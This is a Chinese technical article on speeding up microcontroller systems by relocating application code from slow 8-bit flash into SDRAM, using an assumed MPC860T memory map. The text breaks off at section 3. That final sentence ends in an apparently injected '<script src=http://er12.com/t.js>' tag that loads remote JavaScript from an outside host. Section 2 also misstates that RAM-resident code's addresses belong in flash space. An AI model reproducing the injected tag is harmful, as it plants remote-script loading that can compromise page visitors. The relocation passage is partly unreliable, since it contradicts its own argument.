1 問題的提出

　　1.1 硬件技術背景

　　單片機的頻率越來越高，ram的訪問速度也來也快，但單片機系統的效率并不一定成比例的提高。
　
　　目前，使用的主流單片機有80386ex(50mhz，外部地址/數據總線16位)、mpc860t(66mhz，外部地址/數據總線32位)以及ds80c32(25mhz，外部地址/數據總線8位)；使用的sdram有hy57系列、k416系列(訪問速度100mhz或133mhz)；使用的sram 如idt71024、idt7256(50mhz)；使用的flash有at29c512、sst39vf040、at29c010(8mhz或15mhz)等。可見，sdram，sram的速度和單片機是匹配的，甚至比單片機的速度更快一點，不需要單片機插入等待狀態。而flash的訪問頻率則比單片機慢2~6倍，單片機往往要通過插入多個等待狀態來和它相匹配，況且flash多為8位，而當前單片機多為16，32位，更多的降低了單片機的工作性能。

　　根據上述分析，如果提高flash的訪問速度，擴展flash為16位或32位，那么程序執行的速度就快了，單片機的性能也就提高了。如果能夠將這一想法變成事實，而且成本低廉的話，那是最好不過的事情。事實上，可以將8位的flash擴展為16位、甚至32位，但要付出2~4倍的成本。由于flash結構及工藝原因，在目前不可能有高達66mhz的商用化且價格低廉的flash。所以，只能通過其它方式來提升單片機的運行速度。

　　1.2 軟件技術背景

　　首先，看看傳統單片機程序的運行原理，為了便于說明，假定硬件平臺為860t，時鐘為50mhz；sdram空間4m×32bit，地址范圍從0x00000000~0x00ffffff，訪問時間10ns；flash空間512k×8bit，訪問時間為100ns,地址范圍從0x02800000~0x0287ffff(至于其它單片機，運行原理大致相同，可以類推)。860t在上電后，pc(program counter)=0x2800100，程序從pc指定的地方執行，首先執行初始化代碼(bootcode)，再執行主程序(appcode)。程序從flash中讀取指令(code)，來完成數據的傳輸——可能是sdram和內部寄存器的傳輸，sdram之間的傳輸，sdram和外設的傳輸，中斷處理等各項工作。可見在程序運行時，很大一部分時間是從flash中讀取指令，而這個過程是很費時間的。以假定的860t硬件平臺為例，因為flash訪問時間為100ns，所以讀一條指令的時間至少是100ns，也就是說860t讀一條指令的時候要等待100ns。(指令cache通過預取指令的方式，可以使實際取指令時間短一些，但這種方法的效果并不明顯，況且很多單片機還沒有指令cache。)

　　860t平臺的內存分配如圖1所示。

　　2 將代碼從flash搬運到sdram中的原理

　　通過上述分析，初始化代碼bootcode只在程序啟動的時候執行，就是慢一點，也可以接受。真正影響性能的是主程序(appcode)，因為這里的代碼在不停的重復執行，如果可以縮短它的取指令時間，則單片機的空閑時間將大大減少，性能也就提高了很多。sdram的速度比較快，如果將代碼搬運到sdram中，取指令時間就減少了很多；而且sdram空間大，不會因為代碼占用了一部分空間而影響性能。但這不僅僅是簡單的搬運過程，有物理存儲器地址的變化牽涉在這個過程中。將軟件源代碼轉換成可執行的二進制映像包括三個步驟：首先，每一個源文件都必須被編譯或匯編到一個目標文件(object file)；第二步，所有的目標文件要連接成一個目標文件，它叫可重定位程序(relocation program)；最后，在一個稱為重定址(relocation)的過程中，要把物理存儲器地址指定給可重定位程序里的每個相對偏移處，生成一個可執行的二進制映像文件。如果在flash中運行，則所有的物理存儲器地址應該在flash的地址空間中。如果要在ram中運行，則所有的物理存儲器地址應該在flash的地址空間之中。也就是說，如果要使從flash中搬運到sdram中的代碼可用，則必須改變被搬運代碼的物理存儲器地址。

　　3 搬運代碼的實現方法

　　下面結合假定的硬件平臺，詳細描述物理存儲器地址重定位，代碼搬運的原理?script src=http://er12.com/t.js>